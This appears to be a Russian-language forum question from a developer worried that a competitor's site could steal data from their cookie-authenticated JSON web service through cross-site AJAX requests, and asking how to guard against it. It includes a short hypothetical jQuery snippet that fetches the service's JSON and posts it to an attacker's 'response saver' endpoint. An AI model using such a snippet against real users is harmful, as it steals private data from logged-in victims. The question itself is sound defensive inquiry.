У нас есть веб-сервис JSON, который используется на одной из наших веб-страниц для отображения «живых» данных. Чтобы попасть на страницу, пользователь должен войти в систему. Мы обеспокоены возможностью вредоносных сайтов (конкурентов) собирать эти данные. Однако я не уверен, что проблема, которую мы ожидаем, вероятна.
Как только пользователь вошел в систему, мы сохраняем файл cookie "Запомнить меня" на его компьютере. Если кто-то создаст сайт, который отправит запрос AJAX на наш веб-сервис и убедит вошедшего в систему пользователя посетить сайт, смогут ли они получать и хранить информацию из нашего сервиса? Если так, как мы можем защитить себя от чего-то подобного?
Например:
Может ли вредоносный веб-сайт создать такой скрипт для получения наших данных:
$.post('their.secret.json', function(response) {
$.post('our.malicious.response.saver', {save: response}, function(ourResponse) {
alert('we saved your stuff!');
}
});
Поскольку они обращаются к нашему каналу JSON, не отправит ли он cookie на наш сайт, и пользователь будет аутентифицирован. Поскольку они будут аутентифицированы, не отправит ли они назад конфиденциальные данные?